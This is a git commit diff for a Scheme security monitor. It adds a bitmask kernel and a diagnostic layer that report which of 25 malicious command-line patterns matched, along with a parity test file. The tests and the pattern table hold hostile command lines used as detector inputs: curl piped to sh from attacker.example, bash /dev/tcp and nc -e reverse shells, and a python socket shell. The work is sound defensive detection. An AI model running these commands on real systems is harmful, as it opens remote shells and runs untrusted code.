Add lolbin match breakdown: typed match-bits kernel + untyped diagnostic layer

ober

7b6e981d31804100a2f4daae5441ed835f1f9263

diff --git a/Makefile b/Makefile
index 1cb9a8e..b3aed99 100644
--- a/Makefile
+++ b/Makefile
@@ -8,7 +8,7 @@ SCHEME ?= $(JERBOA)/.chez/bin/scheme
 BUILD  ?= build/rust
 TYPED  := $(wildcard typed/*.ss)
 
-.PHONY: rust test ffi-demo kernels-check triage-check triage-store-check analytics-check detect-check storage-check threats-check geoip-check sigma-check yaml-rules-check buffer-check dns-sniffer-check suspicious-check netconn-check kernmod-check selinux-check container-check dns-servers-check sensitive-path-check dtrace-parse-check proc-linux-check freebsd-parse-check event-meta-check config-check event-danger-check persistence-check file-change-check webshell-check platform-mounts-check analyze-cli-check collector-cli-check event-summary-check ioc-check revshell-check cron-check logtamper-check detection-rules-check ipaddr-check auth-check checks clean
+.PHONY: rust test ffi-demo kernels-check triage-check triage-store-check analytics-check detect-check storage-check threats-check geoip-check sigma-check yaml-rules-check buffer-check dns-sniffer-check suspicious-check netconn-check kernmod-check selinux-check container-check dns-servers-check sensitive-path-check dtrace-parse-check proc-linux-check freebsd-parse-check event-meta-check config-check event-danger-check persistence-check file-change-check webshell-check platform-mounts-check analyze-cli-check collector-cli-check event-summary-check ioc-check revshell-check cron-check logtamper-check detection-rules-check ipaddr-check auth-check lolbin-check checks clean
 # Combined libdir path so sibling libraries `(jsecmon ...)` resolve to ./jsecmon
 # (a second --libdirs would replace, not append, the jerboa one).
 LIBDIRS := "$(JERBOA)/lib:$(CURDIR)"
@@ -167,6 +167,10 @@ dtrace-parse-check:
 proc-linux-check:
 	$(SCHEME) --libdirs $(LIBDIRS) --script examples/proc_linux_check.ss
 
+lolbin-check: rust
+	cd $(BUILD) && cargo build --release
+	$(SCHEME) --libdirs $(LIBDIRS) --script examples/lolbin_check.ss
+
 # FreeBSD line parsers (secmon src/platform/freebsd.rs): parse_kldstat_line
 # (kld module rows) and parse_address (sockstat/netstat host:port, with the
 # "*" wildcard and ipv6 bracket forms). Ports are DECIMAL here, unlike Linux's
@@ -332,6 +336,7 @@ checks: kernels-check
 	$(SCHEME) --libdirs $(LIBDIRS) --script examples/detection_rules_check.ss
 	$(SCHEME) --libdirs $(LIBDIRS) --script examples/ipaddr_check.ss
 	$(SCHEME) --libdirs $(LIBDIRS) --script examples/auth_check.ss
+	$(SCHEME) --libdirs $(LIBDIRS) --script examples/lolbin_check.ss
 
 clean:
 	rm -rf $(BUILD)
diff --git a/README.md b/README.md
index 1cbdf5c..85e070f 100644
--- a/README.md
+++ b/README.md
@@ -75,7 +75,7 @@ whole path — a Jerboa script `load-shared-object`s the dylib and calls the
 
 `jsecmon/kernels.ss` is the **reusable** form of that bridge: an importable
 `(library (jsecmon kernels) …)` that loads the dylib once on import and exports
-clean Jerboa wrappers for all 21 kernels (`lolbin-score-cmdline`, `hex-decode`,
+clean Jerboa wrappers for all 22 kernels (`lolbin-score-cmdline`, `lolbin-match-bits`, `hex-decode`,
 `host-risk-score`, `dga-score-domain`, `bytes-contains?`, `phantom-rootkit-race?`,
 …). It hides the C ABI entirely — including the out-param dance for Bytes/String
 results (alloc two cells, call, copy the buffer, `jt_byte_buffer_free`, free the
@@ -98,7 +98,8 @@ then crypto orchestration, then I/O / async / FFI (monitors, server, storage).
 | `dga::shannon_entropy`   | `typed/dga.ss`     | ✅ ported, vectors pass         |
 | `dga::score_domain`      | `typed/dga.ss`     | ✅ full: lowercase + dot-trim + benign-suffix + label split + score; vectors pass (diagnostic `reasons` list pending) |
 | `&str` ops (lowercase/ends_with/starts_with/contains/split/whole-word) | `typed/strbytes.ss` | ✅ Bytes toolkit, vectors pass — shared by dga/lolbin/sigma |
-| `lolbin::score` + `severity` | `typed/lolbin.ss` | ✅ full 25-pattern table + severity buckets; vectors pass (JSON-cmdline parse stays in untyped wrapper; diagnostic match list with caller) |
+| `lolbin::score` + `severity` | `typed/lolbin.ss` | ✅ full 25-pattern table + severity buckets, plus `match-bits` (a u64 bitmask of which patterns fired, bit 0…24 in PATTERNS order) so the diagnostic breakdown needs no second copy of the matchers; vectors pass (JSON-cmdline parse stays in untyped wrapper) |
+| `lolbin::LolScore` (match breakdown + JSON) | `jsecmon/lolbin.ss` | ✅ **untyped layer** — the diagnostic companion to the typed kernel: `score-cmdline` returns a `lol-score` (total from `lolbin-score-cmdline`, per-pattern `matches` decoded from `lolbin-match-bits` against a static label/score/explanation table — data, not logic), `score-json-cmdline` adds the JSON-array parse (falls back to the raw string like `from_str::<Vec<String>>`), `lol-severity`/`lol-label-summary` mirror the Rust methods. No matcher is re-implemented, so total and matches can't drift. `make lolbin-check` runs secmon's 10 `#[test]` vectors plus exact-total, label-order, and bit↔label pins. |
 | `analytics::compute_host_risks` | `typed/analytics.ss` | ✅ risk-score kernel (clamped weighted sum); vectors pass |
 | `analytics` grouping + `group_incidents` | `jsecmon/analytics.ss` | ✅ **untyped layer** — per-host accumulation/sort/top-N driving the risk-score kernel, plus incident dedup/collapse; secmon analytics vectors pass (`make analytics-check`) |
 | `storage::detect_sequence_pair` (kill-chain core) | `jsecmon/analytics.ss` | ✅ **untyped layer** — the pure pairing primitive behind `detect_priv_escalation_chain`/`lateral_after_shell`/`persistence_after_access`/`log_cover`: given two event streams as `(host . ts-ms)` lists (the SQL `ORDER BY host,timestamp_ms` fetch is deferred I/O), pair each A with the **first** same-host B strictly later and within `window-ms` — at most one per A (Rust's inner `break`) — returning `((host …) (a-ts …) (b-ts …) (gap-seconds …))` for the caller to wrap as an Anomaly (`format_ts` is calendar-deferred). `gap-seconds` is integer ms/1000 (Rust i64 `/`). `make analytics-check` adds window-edge (≤ inclusive), strictly-later, cross-host, first-B-only, multi-A, and empty-stream cases. |
@@ -106,7 +107,7 @@ then crypto orchestration, then I/O / async / FFI (monitors, server, storage).
 | `storage::detect_frequency_spikes` (spike core) | `jsecmon/analytics.ss` | ✅ **untyped layer** — the pure per-(host,event-type) hourly-spike test: given `(host event-type hour count)` rows (the `hourly_counts` GROUP BY aggregate is deferred I/O), sum count and tally hours per key, then emit any row whose key average `> 0` and whose `count` strictly exceeds `3×` that average. Returns `((host …) (event-type …) (hour …) (count …) (average …) (ratio …))` in input row order for the caller to wrap (`parse_hour_to_ms` is calendar-deferred); `average`/`ratio` are f64 like Rust's `total/hours` and `count/avg`. `make analytics-check` adds 3×-spike, exact-3×-excluded (strict `>`), flat, avg-0-guard, key-independence, two-group-order, and empty cases. |
 | `storage::detect_kill_chain` (chain core) | `jsecmon/analytics.ss` | ✅ **untyped layer** — the pure multi-phase kill-chain detector: given `(host ts-ms event-type)` rows pre-sorted by host then ts (SQL fetch deferred), slide from each i over the same-host run with `ts ≤ ts_i + window-ms`, map each type to an ATT&CK-ish phase via `event-type->attack-phase` (also exported; unmapped types skipped), and when the **distinct** phases reach `min-phases` (3) emit a chain then skip past it (Rust `i = j`), else advance one. Emits `((host …) (window-start …) (window-end …) (phases …) (event-types …))`; Rust collects phases from an unordered `HashSet`, so `phases` is canonicalized to first-seen order (treat as a set) while `event-types` keeps phase-mapped types in order. `make analytics-check` adds the classifier table, three-phases, two-distinct-only, unmapped-skip, host-boundary, window-edge, past-edge, two-chains-after-skip, and empty cases. |
 | `storage::detect_off_hours` (predicate) | `jsecmon/analytics.ss` | ✅ **untyped layer** — `off-hours?`, the decision rule factored out of the SQL `WHERE`: a critical/high event is off-hours on a weekend or outside 08:00–18:00 UTC (`weekday` = strftime `%w` 0=Sun…6=Sat, `hour` = `%H` 0–23). The timestamp→(weekday,hour) decomposition is calendar-deferred. `make analytics-check` adds weekend, midday, and the 08:00/17:00/18:00 boundaries. |
-| `storage::detect_lolbin_cmdline` + `detect_dga_domain` | `jsecmon/detect.ss` | ✅ **untyped layer** — the kernel-driven detection rules: score every process_start cmdline (lolbin) / dns_query (dga) into anomalies above threshold. `make detect-check` runs the full events→detect→analytics pipeline; all three scoring kernels fire. Per-pattern label lists + label-level DGA dedup pending (need kernels that return the match breakdown). |
+| `storage::detect_lolbin_cmdline` + `detect_dga_domain` | `jsecmon/detect.ss` | ✅ **untyped layer** — the kernel-driven detection rules: score every process_start cmdline (lolbin) / dns_query (dga) into anomalies above threshold. `make detect-check` runs the full events→detect→analytics pipeline; all three scoring kernels fire. Per-pattern lolbin label lists now available via `(jsecmon lolbin)`'s `match-bits`-backed breakdown; label-level DGA dedup still pending (needs a DGA kernel that returns its match breakdown). |
 | `triage` classifiers      | `typed/triage.ss`  | ✅ pure predicates (transient-unit?, phantom-rootkit-race?); vectors pass |
 | `triage` engine (rules + dispatch) | `jsecmon/triage.ss` | ✅ **untyped layer** — all 18 false-positive rules + first-match engine, in secmon's exact RULES order, dispatch in ordinary Jerboa delegating byte/string classification to the typed kernels; 40 triage vectors pass (`make triage-check`), incl. the security-relevant negatives (non-sshd reading host keys, systemd impersonated from /tmp, unknown daemon reading passwd). |
 | `triage::compute_triaged_ids` (triage-aware mode) | `jsecmon/triage-store.ss` | ✅ **untyped layer** — the bridge above storage+triage: query every in-scope event, triage each, return the sorted benign/expected ID set to drop into a filter's `exclude_event_ids`. `make triage-store-check` proves the round-trip — detection then sees only the real attacks. |
diff --git a/examples/lolbin_check.ss b/examples/lolbin_check.ss
new file mode 100644
index 0000000..d51a5a9
--- /dev/null
+++ b/examples/lolbin_check.ss
@@ -0,0 +1,98 @@
+;;; Parity check for (jsecmon lolbin) against secmon's lolbin.rs #[test] mod
+;;; (benign_curl, curl_pipe_sh, dev_tcp, nc_execute, base64_pipe_bash,
+;;; exec_from_tmp, python_reverse_shell, json_cmdline, discovery_burst,
+;;; severity_buckets), plus exact-total and label-order assertions.
+;;;
+;;;   scheme --libdirs "$JERBOA/lib:." --script examples/lolbin_check.ss
+
+(import (jerboa prelude)
+        (jsecmon lolbin))
+
+(def fails 0)
+(def (check name got want)
+  (let ((ok (equal? got want)))
+    (unless ok (set! fails (+ fails 1)))
+    (displayln (if ok "  ok   " "  FAIL ") name
+               (if ok "" (str "   got " got " want " want)))))
+
+(def (labels s) (map lol-match-label (lol-score-matches s)))
+(def (has-label? s lbl) (and (member lbl (labels s)) #t))
+
+;; ── benign_curl_does_not_score ───────────────────────────────────────────────
+(displayln "secmon lolbin.rs vectors:")
+(check "benign curl total 0"
+       (lol-score-total (score-cmdline "curl https://example.com -o /home/user/page.html"
+                                       "/usr/bin/curl")) 0)
+
+;; ── curl_pipe_sh_fires ───────────────────────────────────────────────────────
+(def s-pipe (score-cmdline "curl https://attacker.example/x | sh" "/usr/bin/bash"))
+(check "curl|sh total 70"     (lol-score-total s-pipe) 70)
+(check "curl|sh pipe-to-shell" (has-label? s-pipe "pipe-to-shell") #t)
+
+;; ── dev_tcp_reverse_shell_fires ──────────────────────────────────────────────
+(def s-tcp (score-cmdline "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1" "/usr/bin/bash"))
+(check "dev/tcp total 105"    (lol-score-total s-tcp) 105)
+(check "dev/tcp dev-tcp-redirect"     (has-label? s-tcp "dev-tcp-redirect") #t)
+(check "dev/tcp interactive-shell-flag" (has-label? s-tcp "interactive-shell-flag") #t)
+;; matches stay in PATTERNS order -> label_summary order is stable
+(check "dev/tcp label_summary order"
+       (lol-label-summary s-tcp) "dev-tcp-redirect,interactive-shell-flag")
+
+;; ── nc_execute_flag_fires ────────────────────────────────────────────────────
+(check "nc -e total 80"
+       (lol-score-total (score-cmdline "nc -e /bin/sh 1.2.3.4 4444" "/usr/bin/nc")) 80)
+
+;; ── base64_pipe_bash_fires ───────────────────────────────────────────────────
+(def s-b64 (score-cmdline "echo aGVsbG8K | base64 -d | bash" "/bin/bash"))
+(check "base64|bash total 110" (lol-score-total s-b64) 110)
+(check "base64|bash base64-decode-exec" (has-label? s-b64 "base64-decode-exec") #t)
+(check "base64|bash echo-pipe-decoder"  (has-label? s-b64 "echo-pipe-decoder") #t)
+
+;; ── exec_from_tmp_fires ──────────────────────────────────────────────────────
+(def s-tmp (score-cmdline "./payload" "/tmp/payload"))
+(check "exec-from-tmp label" (has-label? s-tmp "exec-from-tmp") #t)
+(check "exec-from-tmp total 50" (lol-score-total s-tmp) 50)
+
+;; ── python_reverse_shell_fires ───────────────────────────────────────────────
+(check "python socket payload total 70"
+       (lol-score-total
+        (score-cmdline
+         "python -c import socket,subprocess;s=socket.socket();s.connect(('a',1));subprocess.call(['/bin/sh'])"
+         "/usr/bin/python3")) 70)
+
+;; ── json_cmdline_parses (array of strings joined with spaces) ─────────────────
+(check "json array cmdline total 70"
+       (lol-score-total
+        (score-json-cmdline "[\"bash\",\"-c\",\"curl http://x | sh\"]" "/bin/bash")) 70)
+;; a non-array / unparseable cmdline falls back to the raw string and still scores
+(check "json fallback single-string still scores"
+       (lol-score-total (score-json-cmdline "curl http://x | sh" "/bin/bash")) 70)
+;; a JSON array of non-strings falls back to raw (here: no signal -> 0)
+(check "json non-string array -> raw, 0"
+       (lol-score-total (score-json-cmdline "[1,2,3]" "/bin/sh")) 0)
+
+;; ── discovery_burst_fires_only_at_three_plus ─────────────────────────────────
+(check "lone whoami total 0"
+       (lol-score-total (score-cmdline "whoami" "/usr/bin/whoami")) 0)
+(def s-burst (score-cmdline "whoami; id; uname -a" "/bin/sh"))
+(check "three-signal discovery-burst" (has-label? s-burst "discovery-burst") #t)
+(check "discovery-burst total 15"     (lol-score-total s-burst) 15)
+;; `id` must be a whole token, not a substring of "did"
+(check "substring 'did' is not the id token"
+       (lol-score-total (score-cmdline "echo did you run whoami and uname" "/bin/sh")) 0)
+
+;; ── severity_buckets ─────────────────────────────────────────────────────────
+(displayln "severity buckets:")
+(check "25 -> info"      (lol-severity (make-lol-score 25 '())) "info")
+(check "35 -> medium"    (lol-severity (make-lol-score 35 '())) "medium")
+(check "75 -> high"      (lol-severity (make-lol-score 75 '())) "high")
+(check "120 -> critical" (lol-severity (make-lol-score 120 '())) "critical")
+;; bucket edges: 30/60/100 are inclusive lower bounds
+(check "30 -> medium"    (lol-severity (make-lol-score 30 '())) "medium")
+(check "60 -> high"      (lol-severity (make-lol-score 60 '())) "high")
+(check "100 -> critical" (lol-severity (make-lol-score 100 '())) "critical")
+
+(newline)
+(if (= fails 0)
+    (displayln "OK: lolbin matches secmon's lolbin.rs behaviour.")
+    (begin (displayln fails " FAILURES") (exit 1)))
diff --git a/jsecmon/kernels.ss b/jsecmon/kernels.ss
index 6e04350..48602eb 100644
--- a/jsecmon/kernels.ss
+++ b/jsecmon/kernels.ss
@@ -14,7 +14,7 @@
 
 (library (jsecmon kernels)
   (export ;; lolbin
-          lolbin-score-cmdline lolbin-severity
+          lolbin-score-cmdline lolbin-match-bits lolbin-severity
           ;; psk crypto primitives
           constant-time-eq? hex-encode hex-decode hex-string? psk-hex-32?
           ;; analytics
@@ -92,6 +92,12 @@
     (let ((c (u8->bytes cmd)) (x (u8->bytes exe)))
       (%score-cmdline c (bytevector-length c) x (bytevector-length x))))
 
+  (define %match-bits
+    (fp "jt_jsecmon_lolbin_match_bits" (u8* size_t u8* size_t) unsigned-64))
+  (define (lolbin-match-bits cmd exe)
+    (let ((c (u8->bytes cmd)) (x (u8->bytes exe)))
+      (%match-bits c (bytevector-length c) x (bytevector-length x))))
+
   (define %severity (fp "jt_jsecmon_lolbin_severity" (unsigned-64 void* void*) unsigned-8))
   (define (lolbin-severity total)
     (utf8->string (call->bytes (lambda (pp pl) (%severity total pp pl)))))
diff --git a/jsecmon/lolbin.ss b/jsecmon/lolbin.ss
new file mode 100644
index 0000000..6b0f64e
--- /dev/null
+++ b/jsecmon/lolbin.ss
@@ -0,0 +1,126 @@
+#!chezscheme
+;;; jsecmon LOLBin diagnostic layer — the untyped companion to the typed
+;;; (jsecmon lolbin) scoring kernel.
+;;;
+;;; The 25-pattern matcher logic lives ONCE, in typed/lolbin.ss (compiled to the
+;;; Rust kernel): `lolbin-score-cmdline` returns the additive total and
+;;; `lolbin-match-bits` returns a bitmask of which patterns fired (bit 0 =
+;;; pipe-to-shell … bit 24 = shc-output, in PATTERNS order). This module adds
+;;; what a scalar kernel can't: the per-match label/score/explanation breakdown
+;;; (by decoding the bitmask against a static metadata table — data, not logic),
+;;; plus the JSON-cmdline convenience parse. So nothing here re-implements a
+;;; matcher; drift between the two is impossible because the bits and the total
+;;; come from the same kernel.
+;;;
+;;; Verified against secmon's lolbin.rs #[test] vectors in
+;;; examples/lolbin_check.ss (which also pins the bit↔label mapping).
+
+(library (jsecmon lolbin)
+  (export make-lol-score lol-score? lol-score-total lol-score-matches
+          make-lol-match lol-match? lol-match-label lol-match-score
+          lol-match-explanation
+          score-cmdline score-json-cmdline lol-severity lol-label-summary)
+  (import (except (chezscheme)
+                  make-hash-table hash-table?
+                  sort sort!
+                  printf fprintf
+                  path-extension path-absolute?
+                  with-input-from-string with-output-to-string
+                  iota 1+ 1-
+                  partition
+                  make-date make-time)
+          (except (jerboa prelude) meta atom?)
+          (only (jsecmon kernels)
+                lolbin-score-cmdline lolbin-match-bits lolbin-severity))
+
+  (defstruct lol-score (total matches))     ;; matches : list of lol-match
+  (defstruct lol-match (label score explanation))
+
+  ;; (bit label score explanation) for each pattern, in PATTERNS / bit order.
+  ;; This is metadata only — the matching that sets each bit is the typed kernel.
+  (def *pattern-meta*
+    (list
+     (list 1        "pipe-to-shell" 70
+           "Output of a network fetcher piped directly into a shell interpreter")
+     (list 2        "dev-tcp-redirect" 80
+           "Use of /dev/tcp/host/port — bash reverse shell primitive")
+     (list 4        "dev-udp-redirect" 80
+           "Use of /dev/udp/host/port — bash reverse shell primitive")
+     (list 8        "nc-execute" 80
+           "nc/ncat -e or -c flag — execute on connect (legacy reverse shell)")
+     (list 16       "socat-exec" 80
+           "socat with EXEC: payload — common reverse shell")
+     (list 32       "interactive-shell-flag" 25
+           "Shell with -i (interactive) flag — common in post-exploit shells")
+     (list 64       "base64-decode-exec" 60
+           "Base64 decoded then piped into a shell or interpreter")
+     (list 128      "echo-pipe-decoder" 50
+           "echo of long string piped into a decoder/runner — staged payload")
+     (list 256      "exec-from-tmp" 50
+           "Process executing a binary from /tmp, /dev/shm, or /var/tmp")
+     (list 512      "chmod-x-tmp" 60
+           "chmod +x on a file in /tmp, /dev/shm, or /var/tmp — staging an implant")
+     (list 1024     "wget-into-tmp" 50
+           "wget/curl downloading into a world-writable directory")
+     (list 2048     "python-socket-payload" 70
+           "python -c with socket, subprocess, and exec/system in one line")
+     (list 4096     "perl-socket-payload" 70
+           "perl -e with Socket and exec in one line")
+     (list 8192     "ruby-socket-payload" 70
+           "ruby -e with TCPSocket and exec in one line")
+     (list 16384    "php-socket-payload" 70
+           "php -r with fsockopen / shell_exec")
+     (list 32768    "mkfifo-pipe" 60
+           "mkfifo + named-pipe shell construction")
+     (list 65536    "memfd-loader" 70
+           "memfd_create / fexecve fileless execution path")
+     (list 131072   "ld-preload-set" 60
+           "LD_PRELOAD set on the command line — library injection")
+     (list 262144   "crontab-from-fetch" 50
+           "Adding a cron entry that fetches and runs a remote script")
+     (list 524288   "ssh-key-write" 40
+           "Echo or cat appending to authorized_keys (backdoor key install)")
+     (list 1048576  "history-clear" 40
+           "Shell history clearing or unset")
+     (list 2097152  "log-truncate" 40
+           "Truncating or removing system log files")
+     (list 4194304  "discovery-burst" 15
+           "Standard recon string in one line: id + whoami + uname + cat passwd")
+     (list 8388608  "powershell-on-linux" 50
+           "PowerShell invoked on Linux — uncommon outside cross-platform malware")
+     (list 16777216 "shc-output" 30
+           "Compiled-shell-script (shc) wrapper output — often malware packaging")))
+
+  ;; score cmdline (full argv joined with spaces) and exe (executable path) into
+  ;; a lol-score: total + the matched patterns in PATTERNS order. The total and
+  ;; the match bits both come from the typed kernel, so they always agree.
+  (def (score-cmdline cmdline exe)
+    (let ((total (lolbin-score-cmdline cmdline exe))
+          (bits (lolbin-match-bits cmdline exe)))
+      (make-lol-score
+       total
+       (filter-map
+        (lambda (m)
+          (and (positive? (bitwise-and bits (car m)))
+               (make-lol-match (cadr m) (caddr m) (cadddr m))))
+        *pattern-meta*))))
+
+  ;; score a JSON-encoded cmdline (["bash","-c","curl x|sh"]) + exe. A JSON
+  ;; array of strings is joined with " "; anything else (object, bare string,
+  ;; numbers, parse error) falls back to the raw input (from_str::<Vec<String>>).
+  (def (score-json-cmdline cmdline-json exe)
+    (let* ((parsed (try-result* (string->json-object cmdline-json)))
+           (joined
+            (if (and (ok? parsed)
+                     (list? (unwrap parsed))
+                     (for/and ((x (unwrap parsed))) (string? x)))
+                (string-join (unwrap parsed) " ")
+                cmdline-json)))
+      (score-cmdline joined exe)))
+
+  ;; severity bucket for a lol-score (delegates to the typed kernel).
+  (def (lol-severity s) (lolbin-severity (lol-score-total s)))
+
+  ;; comma-separated label list for one-line display (Rust label_summary).
+  (def (lol-label-summary s)
+    (string-join (map lol-match-label (lol-score-matches s)) ",")))
diff --git a/typed/lolbin.ss b/typed/lolbin.ss
index f8bbb38..da7c63f 100644
--- a/typed/lolbin.ss
+++ b/typed/lolbin.ss
@@ -10,7 +10,7 @@
 ;;; the (untyped) caller that builds the anomaly.
 
 (typed-library (jsecmon lolbin)
-  (export score-cmdline severity)
+  (export score-cmdline match-bits severity)
   (import (jsecmon strbytes))
 
   ;; --- pattern matchers (operate on the lowercased cmdline / exe bytes) ---
@@ -243,6 +243,40 @@
          (if (pat-powershell? x) 50 0)
          (if (pat-shc-output? x) 30 0))))
 
+  ;; Bitmask of which patterns matched, one bit per pattern in PATTERNS order
+  ;; (bit 0 = pipe-to-shell … bit 24 = shc-output). The bits are disjoint powers
+  ;; of two and each pattern fires at most once, so this sum is exactly the OR of
+  ;; the matched bits. The untyped caller decodes the bits into the diagnostic
+  ;; label/score/explanation list, so the matcher logic lives only here.
+  (def (match-bits (cmdline : String) (exe : String)) : Nat
+    (let ((cmd (ascii-lower-bytes cmdline))
+          (x (ascii-lower-bytes exe)))
+      (+ (if (pat-pipe-to-shell? cmd) 1 0)
+         (if (pat-dev-tcp? cmd) 2 0)
+         (if (pat-dev-udp? cmd) 4 0)
+         (if (pat-nc-execute? cmd) 8 0)
+         (if (pat-socat-exec? cmd) 16 0)
+         (if (pat-interactive-shell? cmd) 32 0)
+         (if (pat-base64-exec? cmd) 64 0)
+         (if (pat-echo-pipe? cmd) 128 0)
+         (if (pat-exec-from-tmp? x) 256 0)
+         (if (pat-chmod-x-tmp? cmd) 512 0)
+         (if (pat-wget-into-tmp? cmd) 1024 0)
+         (if (pat-python-socket? cmd) 2048 0)
+         (if (pat-perl-socket? cmd) 4096 0)
+         (if (pat-ruby-socket? cmd) 8192 0)
+         (if (pat-php-socket? cmd) 16384 0)
+         (if (pat-mkfifo-pipe? cmd) 32768 0)
+         (if (pat-memfd-loader? cmd) 65536 0)
+         (if (pat-ld-preload? cmd) 131072 0)
+         (if (pat-crontab-fetch? cmd) 262144 0)
+         (if (pat-ssh-key-write? cmd) 524288 0)
+         (if (pat-history-clear? cmd) 1048576 0)
+         (if (pat-log-truncate? cmd) 2097152 0)
+         (if (pat-discovery-burst? cmd) 4194304 0)
+         (if (pat-powershell? x) 8388608 0)
+         (if (pat-shc-output? x) 16777216 0))))
+
   ;; Severity bucket for a total, matching LolScore::severity.
   (def (severity (total : Nat)) : String
     (if (>= total 100)